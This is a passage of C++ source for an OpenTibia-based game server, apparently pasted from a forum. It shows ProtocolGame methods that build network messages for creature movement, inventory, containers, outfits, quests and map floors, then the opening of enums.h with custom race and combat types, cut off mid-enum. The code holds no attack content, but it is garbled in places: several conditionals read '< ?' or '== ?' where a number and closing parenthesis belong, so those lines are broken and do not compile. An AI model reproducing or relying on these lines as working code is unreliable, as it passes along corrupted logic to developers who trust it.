AddWorldLight(msg, lightInfo); //player light level AddCreatureLight(msg, creature); player->sendIcons(); for(VIPListSet::iterator it = player->VIPList.begin(); it != player->VIPList.end(); it++) { std::string vipName; if(IOLoginData::getInstance()->getNameByGuid((*it), vipName)) { Player* tmpPlayer = g_game.getPlayerByName(vipName); sendVIP((*it), vipName, (tmpPlayer && player->canSeeCreature(tmpPlayer))); } } } void ProtocolGame::sendRemoveCreature(const Creature* creature, const Position& pos, uint32_t stackpos) { if(!canSee(pos)) return; NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); RemoveTileItem(msg, pos, stackpos); } } void ProtocolGame::sendMoveCreature(const Creature* creature, const Tile* newTile, const Position& newPos, uint32_t newStackpos, const Tile* oldTile, const Position& oldPos, uint32_t oldStackpos, bool teleport) { if(creature == player) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); if(teleport || oldStackpos >= 10) { RemoveTileItem(msg, oldPos, oldStackpos); AddMapDescription(msg, newPos); } else { if(oldPos.z != 7 || newPos.z < ? { msg->AddByte(0x6D); msg->AddPosition(oldPos); msg->AddByte(oldStackpos); msg->AddPosition(newPos); } else RemoveTileItem(msg, oldPos, oldStackpos); if(newPos.z > oldPos.z) MoveDownCreature(msg, creature, newPos, oldPos, oldStackpos); else if(newPos.z < oldPos.z) MoveUpCreature(msg, creature, newPos, oldPos, oldStackpos); if(oldPos.y > newPos.y) // north, for old x { msg->AddByte(0x65); GetMapDescription(oldPos.x - 8, newPos.y - 6, newPos.z, 18, 1, msg); } else if(oldPos.y < newPos.y) // south, for old x { msg->AddByte(0x67); GetMapDescription(oldPos.x - 8, newPos.y + 7, newPos.z, 18, 1, msg); } if(oldPos.x < newPos.x) // east, [with new y] { msg->AddByte(0x66); GetMapDescription(newPos.x + 9, newPos.y - 6, newPos.z, 1, 14, msg); } else if(oldPos.x > newPos.x) // west, [with new y] { msg->AddByte(0x68); GetMapDescription(newPos.x - 8, newPos.y - 6, newPos.z, 1, 14, msg); } } } } else if(canSee(oldPos) && canSee(newPos)) { if(!player->canSeeCreature(creature)) return; NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); if(!teleport && (oldPos.z != 7 || newPos.z < ? && oldStackpos < 10) { msg->AddByte(0x6D); msg->AddPosition(oldPos); msg->AddByte(oldStackpos); msg->AddPosition(newPos); } else { RemoveTileItem(msg, oldPos, oldStackpos); AddTileCreature(msg, newPos, newStackpos, creature); } } } else if(canSee(oldPos)) { if(!player->canSeeCreature(creature)) return; NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); RemoveTileItem(msg, oldPos, oldStackpos); } } else if(canSee(newPos) && player->canSeeCreature(creature)) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); AddTileCreature(msg, newPos, newStackpos, creature); } } } //inventory void ProtocolGame::sendAddInventoryItem(slots_t slot, const Item* item) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); AddInventoryItem(msg, slot, item); } } void ProtocolGame::sendUpdateInventoryItem(slots_t slot, const Item* item) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); UpdateInventoryItem(msg, slot, item); } } void ProtocolGame::sendRemoveInventoryItem(slots_t slot) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); RemoveInventoryItem(msg, slot); } } //containers void ProtocolGame::sendAddContainerItem(uint8_t cid, const Item* item) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); AddContainerItem(msg, cid, item); } } void ProtocolGame::sendUpdateContainerItem(uint8_t cid, uint8_t slot, const Item* item) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); UpdateContainerItem(msg, cid, slot, item); } } void ProtocolGame::sendRemoveContainerItem(uint8_t cid, uint8_t slot) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); RemoveContainerItem(msg, cid, slot); } } void ProtocolGame::sendTextWindow(uint32_t windowTextId, Item* item, uint16_t maxLen, bool canWrite) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0x96); msg->AddU32(windowTextId); msg->AddItemId(item); if(canWrite) { msg->AddU16(maxLen); msg->AddString(item->getText()); } else { msg->AddU16(item->getText().size()); msg->AddString(item->getText()); } const std::string& writer = item->getWriter(); if(writer.size()) msg->AddString(writer); else msg->AddString(""); time_t writtenDate = item->getDate(); if(writtenDate > 0) msg->AddString(formatDate(writtenDate)); else msg->AddString(""); } } void ProtocolGame::sendTextWindow(uint32_t windowTextId, uint32_t itemId, const std::string& text) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0x96); msg->AddU32(windowTextId); msg->AddItemId(itemId); msg->AddU16(text.size()); msg->AddString(text); msg->AddString(""); msg->AddString(""); } } void ProtocolGame::sendHouseWindow(uint32_t windowTextId, House* _house, uint32_t listId, const std::string& text) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0x97); msg->AddByte(0x00); msg->AddU32(windowTextId); msg->AddString(text); } } void ProtocolGame::sendOutfitWindow() { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0xC8); AddCreatureOutfit(msg, player, player->getDefaultOutfit(), true); std::list<Outfit> outfitList; for(OutfitMap::iterator it = player->outfits.begin(); it != player->outfits.end(); ++it) { if(player->canWearOutfit(it->first, it->second.addons)) outfitList.push_back(it->second); } if(outfitList.size()) { msg->AddByte((size_t)std::min((size_t)OUTFITS_MAX_NUMBER, outfitList.size())); std::list<Outfit>::iterator it = outfitList.begin(); for(int32_t i = 0; it != outfitList.end() && i < OUTFITS_MAX_NUMBER; ++it, ++i) { msg->AddU16(it->lookType); msg->AddString(it->name); if(player->hasCustomFlag(PlayerCustomFlag_CanWearAllAddons)) msg->AddByte(0x03); else if(!g_config.getBool(ConfigManager::ADDONS_PREMIUM) || player->isPremium()) msg->AddByte(it->addons); else msg->AddByte(0x00); } } else { msg->AddByte(1); msg->AddU16(player->getDefaultOutfit().lookType); msg->AddString("Outfit"); msg->AddByte(player->getDefaultOutfit().lookAddons); } player->hasRequestedOutfit(true); } } void ProtocolGame::sendQuests() { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0xF0); msg->AddU16(Quests::getInstance()->getQuestCount(player)); for(QuestList::const_iterator it = Quests::getInstance()->getFirstQuest(); it != Quests::getInstance()->getLastQuest(); ++it) { if(!(*it)->isStarted(player)) continue; msg->AddU16((*it)->getId()); msg->AddString((*it)->getName()); msg->AddByte((*it)->isCompleted(player)); } } } void ProtocolGame::sendQuestInfo(Quest* quest) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0xF1); msg->AddU16(quest->getId()); msg->AddByte(quest->getMissionCount(player)); for(MissionList::const_iterator it = quest->getFirstMission(); it != quest->getLastMission(); ++it) { if(!(*it)->isStarted(player)) continue; msg->AddString((*it)->getName(player)); msg->AddString((*it)->getDescription(player)); } } } void ProtocolGame::sendVIPLogIn(uint32_t guid) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0xD3); msg->AddU32(guid); } } void ProtocolGame::sendVIPLogOut(uint32_t guid) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0xD4); msg->AddU32(guid); } } void ProtocolGame::sendVIP(uint32_t guid, const std::string& name, bool isOnline) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0xD2); msg->AddU32(guid); msg->AddString(name); msg->AddByte(isOnline ? 1 : 0); } } ////////////// Add common messages void ProtocolGame::AddMapDescription(NetworkMessage_ptr msg, const Position& pos) { msg->AddByte(0x64); msg->AddPosition(player->getPosition()); GetMapDescription(pos.x - 8, pos.y - 6, pos.z, 18, 14, msg); } void ProtocolGame::AddTextMessage(NetworkMessage_ptr msg, MessageClasses mclass, const std::string& message) { msg->AddByte(0xB4); msg->AddByte(mclass); msg->AddString(message); } void ProtocolGame::AddAnimatedText(NetworkMessage_ptr msg, const Position& pos, uint8_t color, const std::string& text) { msg->AddByte(0x84); msg->AddPosition(pos); msg->AddByte(color); msg->AddString(text); } void ProtocolGame::AddMagicEffect(NetworkMessage_ptr msg,const Position& pos, uint8_t type) { msg->AddByte(0x83); msg->AddPosition(pos); msg->AddByte(type + 1); } void ProtocolGame::AddDistanceShoot(NetworkMessage_ptr msg, const Position& from, const Position& to, uint8_t type) { msg->AddByte(0x85); msg->AddPosition(from); msg->AddPosition(to); msg->AddByte(type + 1); } void ProtocolGame::AddCreature(NetworkMessage_ptr msg, const Creature* creature, bool known, uint32_t remove) { if(!known) { msg->AddU16(0x61); msg->AddU32(remove); msg->AddU32(creature->getID()); std::string nick = creature->getName(); if (creature->Nick != "") nick = creature->Nick; msg->AddString(creature->getHideName() ? "" : nick); } else { msg->AddU16(0x62); msg->AddU32(creature->getID()); } if(!creature->getHideHealth()) msg->AddByte((int32_t)std::ceil(((float)creature->getHealth()) * 100 / std::max(creature->getMaxHealth(), (int32_t)1))); else msg->AddByte(0x00); msg->AddByte((uint8_t)creature->getDirection()); AddCreatureOutfit(msg, creature, creature->getCurrentOutfit()); LightInfo lightInfo; creature->getCreatureLight(lightInfo); msg->AddByte(player->hasCustomFlag(PlayerCustomFlag_HasFullLight) ? 0xFF : lightInfo.level); msg->AddByte(lightInfo.color); msg->AddU16(creature->getStepSpeed()); msg->AddByte(player->getSkullClient(creature)); msg->AddByte(player->getPartyShield(creature)); if(!known) msg->AddByte(0x00); // war emblem msg->AddByte(!player->canWalkthrough(creature)); } void ProtocolGame::AddPlayerStats(NetworkMessage_ptr msg) { msg->AddByte(0xA0); msg->AddU16(player->getHealth()); msg->AddU16(player->getPlayerInfo(PLAYERINFO_MAXHEALTH)); msg->AddU32(uint32_t(player->getFreeCapacity() * 100)); uint64_t experience = player->getExperience(); if(experience > 0x7FFFFFFF) // client debugs after 2,147,483,647 exp msg->AddU32(0x7FFFFFFF); else msg->AddU32(experience); msg->AddU16(player->getPlayerInfo(PLAYERINFO_LEVEL)); msg->AddByte(player->getPlayerInfo(PLAYERINFO_LEVELPERCENT)); msg->AddU16(player->getPlayerInfo(PLAYERINFO_MANA)); msg->AddU16(player->getPlayerInfo(PLAYERINFO_MAXMANA)); msg->AddByte(player->getPlayerInfo(PLAYERINFO_MAGICLEVEL)); msg->AddByte(player->getPlayerInfo(PLAYERINFO_MAGICLEVELPERCENT)); msg->AddByte(player->getPlayerInfo(PLAYERINFO_SOUL)); msg->AddU16(player->getStaminaMinutes()); } void ProtocolGame::AddPlayerSkills(NetworkMessage_ptr msg) { msg->AddByte(0xA1); msg->AddByte(player->getSkill(SKILL_FIST, SKILL_LEVEL)); msg->AddByte(player->getSkill(SKILL_FIST, SKILL_PERCENT)); msg->AddByte(player->getSkill(SKILL_CLUB, SKILL_LEVEL)); msg->AddByte(player->getSkill(SKILL_CLUB, SKILL_PERCENT)); msg->AddByte(player->getSkill(SKILL_SWORD, SKILL_LEVEL)); msg->AddByte(player->getSkill(SKILL_SWORD, SKILL_PERCENT)); msg->AddByte(player->getSkill(SKILL_AXE, SKILL_LEVEL)); msg->AddByte(player->getSkill(SKILL_AXE, SKILL_PERCENT)); msg->AddByte(player->getSkill(SKILL_DIST, SKILL_LEVEL)); msg->AddByte(player->getSkill(SKILL_DIST, SKILL_PERCENT)); msg->AddByte(player->getSkill(SKILL_SHIELD, SKILL_LEVEL)); msg->AddByte(player->getSkill(SKILL_SHIELD, SKILL_PERCENT)); msg->AddByte(player->getSkill(SKILL_FISH, SKILL_LEVEL)); msg->AddByte(player->getSkill(SKILL_FISH, SKILL_PERCENT)); } void ProtocolGame::AddCreatureSpeak(NetworkMessage_ptr msg, const Creature* creature, SpeakClasses type, std::string text, uint16_t channelId, uint32_t time/*= 0*/, Position* pos/* = NULL*/) { msg->AddByte(0xAA); if(creature) { const Player* speaker = creature->getPlayer(); if(speaker) { msg->AddU32(++g_chat.statement); g_chat.statementMap[g_chat.statement] = text; } else msg->AddU32(0x00); if(creature->getSpeakType() != SPEAK_CLASS_NONE) type = creature->getSpeakType(); switch(type) { case SPEAK_CHANNEL_RA: msg->AddString(""); break; case SPEAK_RVR_ANSWER: msg->AddString("Gamemaster"); break; default: msg->AddString(!creature->getHideName() ? creature->getName() : ""); break; } if(speaker && type != SPEAK_RVR_ANSWER && !speaker->isAccountManager() && !speaker->hasCustomFlag(PlayerCustomFlag_HideLevel)) msg->AddU16(speaker->getPlayerInfo(PLAYERINFO_LEVEL)); else msg->AddU16(0x00); } else { msg->AddU32(0x00); msg->AddString(""); msg->AddU16(0x00); } msg->AddByte(type); switch(type) { case SPEAK_SAY: case SPEAK_WHISPER: case SPEAK_YELL: case SPEAK_MONSTER_SAY: case SPEAK_MONSTER_YELL: case SPEAK_PRIVATE_NP: { if(pos) msg->AddPosition(*pos); else if(creature) msg->AddPosition(creature->getPosition()); else msg->AddPosition(Position(0,0,7)); break; } case SPEAK_CHANNEL_Y: case SPEAK_CHANNEL_RN: case SPEAK_CHANNEL_RA: case SPEAK_CHANNEL_O: case SPEAK_CHANNEL_W: msg->AddU16(channelId); break; case SPEAK_RVR_CHANNEL: { msg->AddU32(uint32_t(OTSYS_TIME() / 1000 & 0xFFFFFFFF) - time); break; } default: break; } msg->AddString(text); } void ProtocolGame::AddCreatureHealth(NetworkMessage_ptr msg,const Creature* creature) { msg->AddByte(0x8C); msg->AddU32(creature->getID()); if(!creature->getHideHealth()) msg->AddByte((int32_t)std::ceil(((float)creature->getHealth()) * 100 / std::max(creature->getMaxHealth(), (int32_t)1))); else msg->AddByte(0x00); } void ProtocolGame::AddCreatureOutfit(NetworkMessage_ptr msg, const Creature* creature, const Outfit_t& outfit, bool outfitWindow/* = false*/) { if(outfitWindow || !creature->getPlayer() || (!creature->isInvisible() && (!creature->isGhost() || !g_config.getBool(ConfigManager::GHOST_INVISIBLE_EFFECT)))) { msg->AddU16(outfit.lookType); if(outfit.lookType) { msg->AddByte(outfit.lookHead); msg->AddByte(outfit.lookBody); msg->AddByte(outfit.lookLegs); msg->AddByte(outfit.lookFeet); msg->AddByte(outfit.lookAddons); } else if(outfit.lookTypeEx) msg->AddItemId(outfit.lookTypeEx); else msg->AddU16(outfit.lookTypeEx); } else msg->AddU32(0x00); } void ProtocolGame::AddWorldLight(NetworkMessage_ptr msg, const LightInfo& lightInfo) { msg->AddByte(0x82); msg->AddByte((player->hasCustomFlag(PlayerCustomFlag_HasFullLight) ? 0xFF : lightInfo.level)); msg->AddByte(lightInfo.color); } void ProtocolGame::AddCreatureLight(NetworkMessage_ptr msg, const Creature* creature) { LightInfo lightInfo; creature->getCreatureLight(lightInfo); msg->AddByte(0x8D); msg->AddU32(creature->getID()); msg->AddByte((player->hasCustomFlag(PlayerCustomFlag_HasFullLight) ? 0xFF : lightInfo.level)); msg->AddByte(lightInfo.color); } //tile void ProtocolGame::AddTileItem(NetworkMessage_ptr msg, const Position& pos, uint32_t stackpos, const Item* item) { if(stackpos >= 10) return; msg->AddByte(0x6A); msg->AddPosition(pos); msg->AddByte(stackpos); msg->AddItem(item); } void ProtocolGame::AddTileCreature(NetworkMessage_ptr msg, const Position& pos, uint32_t stackpos, const Creature* creature) { if(stackpos >= 10) return; msg->AddByte(0x6A); msg->AddPosition(pos); msg->AddByte(stackpos); bool known; uint32_t removedKnown; checkCreatureAsKnown(creature->getID(), known, removedKnown); AddCreature(msg, creature, known, removedKnown); } void ProtocolGame::UpdateTileItem(NetworkMessage_ptr msg, const Position& pos, uint32_t stackpos, const Item* item) { if(stackpos >= 10) return; msg->AddByte(0x6B); msg->AddPosition(pos); msg->AddByte(stackpos); msg->AddItem(item); } void ProtocolGame::RemoveTileItem(NetworkMessage_ptr msg, const Position& pos, uint32_t stackpos) { if(stackpos >= 10) return; msg->AddByte(0x6C); msg->AddPosition(pos); msg->AddByte(stackpos); } void ProtocolGame::MoveUpCreature(NetworkMessage_ptr msg, const Creature* creature, const Position& newPos, const Position& oldPos, uint32_t oldStackpos) { if(creature != player) return; msg->AddByte(0xBE); //floor change up if(newPos.z == 7) //going to surface { int32_t skip = -1; GetFloorDescription(msg, oldPos.x - 8, oldPos.y - 6, 5, 18, 14, 3, skip); //(floor 7 and 6 already set) GetFloorDescription(msg, oldPos.x - 8, oldPos.y - 6, 4, 18, 14, 4, skip); GetFloorDescription(msg, oldPos.x - 8, oldPos.y - 6, 3, 18, 14, 5, skip); GetFloorDescription(msg, oldPos.x - 8, oldPos.y - 6, 2, 18, 14, 6, skip); GetFloorDescription(msg, oldPos.x - 8, oldPos.y - 6, 1, 18, 14, 7, skip); GetFloorDescription(msg, oldPos.x - 8, oldPos.y - 6, 0, 18, 14, 8, skip); if(skip >= 0) { msg->AddByte(skip); msg->AddByte(0xFF); } } else if(newPos.z > 7) //underground, going one floor up (still underground) { int32_t skip = -1; GetFloorDescription(msg, oldPos.x - 8, oldPos.y - 6, oldPos.z - 3, 18, 14, 3, skip); if(skip >= 0) { msg->AddByte(skip); msg->AddByte(0xFF); } } //moving up a floor up makes us out of sync //west msg->AddByte(0x68); GetMapDescription(oldPos.x - 8, oldPos.y + 1 - 6, newPos.z, 1, 14, msg); //north msg->AddByte(0x65); GetMapDescription(oldPos.x - 8, oldPos.y - 6, newPos.z, 18, 1, msg); } void ProtocolGame::MoveDownCreature(NetworkMessage_ptr msg, const Creature* creature, const Position& newPos, const Position& oldPos, uint32_t oldStackpos) { if(creature != player) return; msg->AddByte(0xBF); //floor change down if(newPos.z == ? //going from surface to underground { int32_t skip = -1; GetFloorDescription(msg, oldPos.x - 8, oldPos.y - 6, newPos.z, 18, 14, -1, skip); GetFloorDescription(msg, oldPos.x - 8, oldPos.y - 6, newPos.z + 1, 18, 14, -2, skip); GetFloorDescription(msg, oldPos.x - 8, oldPos.y - 6, newPos.z + 2, 18, 14, -3, skip); if(skip >= 0) { msg->AddByte(skip); msg->AddByte(0xFF); } } else if(newPos.z > oldPos.z && newPos.z > 8 && newPos.z < 14) //going further down { int32_t skip = -1; GetFloorDescription(msg, oldPos.x - 8, oldPos.y - 6, newPos.z + 2, 18, 14, -3, skip); if(skip >= 0) { msg->AddByte(skip); msg->AddByte(0xFF); } } //moving down a floor makes us out of sync //east msg->AddByte(0x66); GetMapDescription(oldPos.x + 9, oldPos.y - 1 - 6, newPos.z, 1, 14, msg); //south msg->AddByte(0x67); GetMapDescription(oldPos.x - 8, oldPos.y + 7, newPos.z, 18, 1, msg); } //inventory void ProtocolGame::AddInventoryItem(NetworkMessage_ptr msg, slots_t slot, const Item* item) { if(item) { msg->AddByte(0x78); msg->AddByte(slot); msg->AddItem(item); } else RemoveInventoryItem(msg, slot); } void ProtocolGame::RemoveInventoryItem(NetworkMessage_ptr msg, slots_t slot) { msg->AddByte(0x79); msg->AddByte(slot); } void ProtocolGame::UpdateInventoryItem(NetworkMessage_ptr msg, slots_t slot, const Item* item) { AddInventoryItem(msg, slot, item); } //containers void ProtocolGame::AddContainerItem(NetworkMessage_ptr msg, uint8_t cid, const Item* item) { msg->AddByte(0x70); msg->AddByte(cid); msg->AddItem(item); } void ProtocolGame::UpdateContainerItem(NetworkMessage_ptr msg, uint8_t cid, uint8_t slot, const Item* item) { msg->AddByte(0x71); msg->AddByte(cid); msg->AddByte(slot); msg->AddItem(item); } void ProtocolGame::RemoveContainerItem(NetworkMessage_ptr msg, uint8_t cid, uint8_t slot) { msg->AddByte(0x72); msg->AddByte(cid); msg->AddByte(slot); } void ProtocolGame::sendChannelMessage(std::string author, std::string text, SpeakClasses type, uint8_t channel) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0xAA); msg->AddU32(0x00); msg->AddString(author); msg->AddU16(0x00); msg->AddByte(type); msg->AddU16(channel); msg->AddString(text); } } void ProtocolGame::AddShopItem(NetworkMessage_ptr msg, const ShopInfo item) { const ItemType& it = Item::items[item.itemId]; msg->AddU16(it.clientId); if(it.isSplash() || it.isFluidContainer()) msg->AddByte(fluidMap[item.subType % 8]); else if(it.stackable || it.charges) msg->AddByte(item.subType); else msg->AddByte(0x01); msg->AddString(item.itemName); msg->AddU32(uint32_t(it.weight * 100)); msg->AddU32(item.buyPrice); msg->AddU32(item.sellPrice); } void ProtocolGame::parseExtendedOpcode(NetworkMessage& msg) { uint8_t opcode = msg.GetByte(); std::string buffer = msg.GetString(); // process additional opcodes via lua script event addGameTask(&Game::parsePlayerExtendedOpcode, player->getID(), opcode, buffer); } void ProtocolGame::sendExtendedOpcode(uint8_t opcode, const std::string& buffer) { // extended opcodes can only be send to players using otclient, cipsoft's tibia can't understand them NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0x32); msg->AddByte(opcode); msg->AddString(buffer); } } void ProtocolGame::reloadCreature(const Creature* creature) { if(!canSee(creature)) return; // we are cheating the client in here! uint32_t stackpos = creature->getTile()->getClientIndexOfThing(player, creature); if(stackpos >= 10) return; NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); std::list<uint32_t>::iterator it = std::find(knownCreatureList.begin(), knownCreatureList.end(), creature->getID()); if(it != knownCreatureList.end()) { RemoveTileItem(msg, creature->getPosition(), stackpos); msg->AddByte(0x6A); msg->AddPosition(creature->getPosition()); msg->AddByte(stackpos); AddCreature(msg, creature, false, creature->getID()); } else AddTileCreature(msg, creature->getPosition(), stackpos, creature); } } void ProtocolGame::sendCreatureNick(const Creature* creature) { reloadCreature(creature); } enums.h Citar //////////////////////////////////////////////////////////////////////// // OpenTibia - an opensource roleplaying game //////////////////////////////////////////////////////////////////////// // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. //////////////////////////////////////////////////////////////////////// #ifndef __ENUMS__ #define __ENUMS__ #include <string> #include <list> enum DatabaseEngine_t { DATABASE_ENGINE_NONE = 0, DATABASE_ENGINE_MYSQL, DATABASE_ENGINE_SQLITE, DATABASE_ENGINE_POSTGRESQL, DATABASE_ENGINE_ODBC }; enum Encryption_t { ENCRYPTION_PLAIN = 0, ENCRYPTION_MD5, ENCRYPTION_SHA1 }; enum GuildLevel_t { GUILDLEVEL_NONE = 0, GUILDLEVEL_MEMBER, GUILDLEVEL_VICE, GUILDLEVEL_LEADER }; enum OperatingSystem_t { CLIENTOS_LINUX = 0x01, CLIENTOS_WINDOWS = 0x02, CLIENTOS_OTCLIENT_LINUX = 0x0A, CLIENTOS_OTCLIENT_WINDOWS = 0x0B, CLIENTOS_OTCLIENT_MAC = 0x0C }; enum Channels_t { CHANNEL_GUILD = 0x00, CHANNEL_PARTY = 0x01, CHANNEL_RVR = 0x03, CHANNEL_HELP = 0x09, CHANNEL_DEFAULT = 0xFFFE, //internal usage only, there is no such channel CHANNEL_PRIVATE = 0xFFFF }; enum ViolationAction_t { ACTION_NOTATION = 0, ACTION_NAMEREPORT, ACTION_BANISHMENT, ACTION_BANREPORT, ACTION_BANFINAL, ACTION_BANREPORTFINAL, ACTION_STATEMENT, //internal use ACTION_DELETION, ACTION_NAMELOCK, ACTION_BANLOCK, ACTION_BANLOCKFINAL, ACTION_PLACEHOLDER }; enum RaceType_t { RACE_NONE = 0, RACE_VENOM, RACE_BLOOD, RACE_UNDEAD, RACE_FIRE, RACE_ENERGY, RACE_DARK = 6, RACE_STEEL = 6, RACE_WATER = 6, RACE_NORMAL = 7, RACE_FIRE2 = 8, RACE_FIGHTING = 9, RACE_FLYING = 10, RACE_GRASS = 11, RACE_POISON = 12, RACE_ELECTRIC = 13, RACE_GROUND = 14, RACE_PSYCHIC = 15, RACE_ROCK = 16, RACE_ICE = 17, RACE_BUG = 18, RACE_DRAGON = 19, RACE_GHOST = 20 }; enum CombatType_t { COMBAT_FIRST = 0, COMBAT_NONE = COMBAT_FIRST, COMBAT_PHYSICALDAMAGE = 1 << 0, COMBAT_ENERGYDAMAGE = 1 << 1, COMBAT_EARTHDAMAGE = 1 << 2, COMBAT_FIREDAMAGE = 1 << 3, COMBAT_UNDEFINEDDAMAGE = 1 << 4, COMBAT_LIFEDRAIN = 1 << 5, COMBAT_MANADRAIN = 1 << 6, COMBAT_HEALING = 1 << 7, COMBAT_DROWNDAMAGE = 1 << 8, COMBAT_ICEDAMAGE = 1 << 9, COMBAT_HOLYDAMAGE = 1 << 10, COMBAT_DEATHDAMAGE = 1 << 11, COMBAT_TESTDAMAGE = 1 << 12, COMBAT_ELECTRICDAMAGE = 1 << 13, COMBAT_ROCKDAMAGE = 1 << 14, COMBAT_FLYDAMAGE = 1 << 15, COMBAT_BUGDAMAGE = 1 << 16, COMBAT_FIGHTDAMAGE = 1 << 17, COMBAT_DRAGONDAMAGE = 1 << 18, COMBAT_VENOMDAMAGE = 1 << 19, COMBAT_LAST = COMBAT_NONE }; enum CombatParam_t { COMBATPARAM_NONE = 0, COMBATPARAM_COMBATTYPE, COMBATPARAM_EFFECT, COMBATPARAM_DISTANCEEFFECT, COMBATPARAM_BLOCKEDBYSHIELD, COMBATPARAM_BLOCKEDBYARMOR, COMBATPARAM_TARGETCASTERORTOPMOST, COMBATPARAM_CREATEITEM, COMBATPARAM_AGGRESSIVE, COMBATPARAM_DISPEL, COMBATPARAM_USECHARGES, COMBATPARAM_TARGETPLAYERSORSUMMONS, COMBATPARAM_DIFFERENTAREADAMAGE, COMBATPARAM_HITEFFECT, COMBATPARAM_HITCOLOR }; enum CallBackParam_t { CALLBACKPARAM_NONE = 0, CALLBACKPARAM_LEVELMAGICVALUE, CALLBACKPARAM_SKILLVALUE, CALLBACKPARAM_TARGETTILECALLBACK, CALLBACKPARAM_TARGETCREATURECALLBACK }; enum ConditionParam_t { CONDITIONPARAM_OWNER = 1, CONDITIONPARAM_TICKS = 2, CONDITIONPARAM_OUTFIT = 3, CONDITIONPARAM_HEALTHGAIN = 4, CONDITIONPARAM_HEALTHTICKS = 5, CONDITIONPARAM_MANAGAIN = 6, CONDITIONPARAM_MANATICKS = 7, CONDITIONPARAM_DELAYED = 8, CONDITIONPARAM_SPEED = 9, CONDITIONPARAM_LIGHT_LEVEL = 10, CONDITIONPARAM_LIGHT_COLOR = 11, CONDITIONPARAM_SOULGAIN = 12, CONDITIONPARAM_SOULTICKS = 13, CONDITIONPARAM_MINVALUE = 14, CONDITIONPARAM_MAXVALUE = 15, CONDITIONPARAM_STARTVALUE = 16, CONDITIONPARAM_TICKINTERVAL = 17, CONDITIONPARAM_FORCEUPDATE = 18, CONDITIONPARAM_SKILL_MELEE = 19, CONDITIONPARAM_SKILL_FIST = 20, CONDITIONPARAM_SKILL_CLUB = 21, CONDITIONPARAM_SKILL_SWORD = 22, CONDITIONPARAM_SKILL_AXE = 23, CONDITIONPARAM_SKILL_DISTANCE = 24, CONDITIONPARAM_SKILL_SHIELD = 25, CONDITIONPARAM_SKILL_FISHING = 26, CONDITIONPARAM_STAT_MAXHEALTH = 27, CONDITIONPARAM_STAT_MAXMANA = 28, CONDITIONPARAM_STAT_SOUL = 29, CONDITIONPARAM_STAT_MAGICLEVEL = 30, CONDITIONPARAM_STAT_MAXHEALTHPERCENT = 31, CONDITIONPARAM_STAT_MAXMANAPERCENT = 32, CONDITIONPARAM_STAT_SOULPERCENT = 33, CONDITIONPARAM_STAT_MAGICLEVELPERCENT = 34, CONDITIONPARAM_SKILL_MELEEPERCENT = 35, CONDITIONPARAM_SKILL_FISTPERCENT = 36, CONDITIONPARAM_SKILL_CLUBPERCENT = 37, CONDITIONPARAM_SKILL_SWORDPERCENT = 38, CONDITIONPARAM_SKILL_AXEPERCENT = 39, CONDITIONPARAM_SKILL_DISTANCEPERCENT = 40, CONDITIONPARAM_SKILL_SHIELDPERCENT = 41, CONDITIONPARAM_SKILL_FISHINGPERCENT = 42, CONDITIONPARAM_PERIODICDAMAGE = 43, CONDITIONPARAM_BUFF = 44, CONDITIONPARAM_SUBID = 45 }; enum BlockType_t { BLOCK_NONE = 0, BLOCK_DEFENSE, BLOCK_ARMOR, BLOCK_IMMUNITY }; enum Reflect_t { REFLECT_FIRST = 0, REFLECT_PERCENT = REFLECT_FIRST, REFLECT_CHANCE, REFLECT_LAST = REFLECT_CHANCE }; enum Increment_t { INCREMENT_FIRST = 0, HEALING_VALUE = INCREMENT_FIRST, HEALING_PERCENT, MAGIC_VALUE, MAGIC_PERCENT, INCREMENT_LAST = MAGIC_PERCENT }; enum skills_t { SKILL_FIRST = 0, SKILL_FIST = SKILL_FIRST, SKILL_CLUB, SKILL_SWORD, SKILL_AXE, SKILL_DIST, SKILL_SHIELD, SKILL_FISH, SKILL__MAGLEVEL, SKILL__LEVEL, SKILL_LAST = SKILL_FISH, SKILL__LAST = SKILL__LEVEL }; enum stats_t { STAT_FIRST = 0, STAT_MAXHEALTH = STAT_FIRST, STAT_MAXMANA, STAT_SOUL, STAT_LEVEL, STAT_MAGICLEVEL, STAT_LAST = 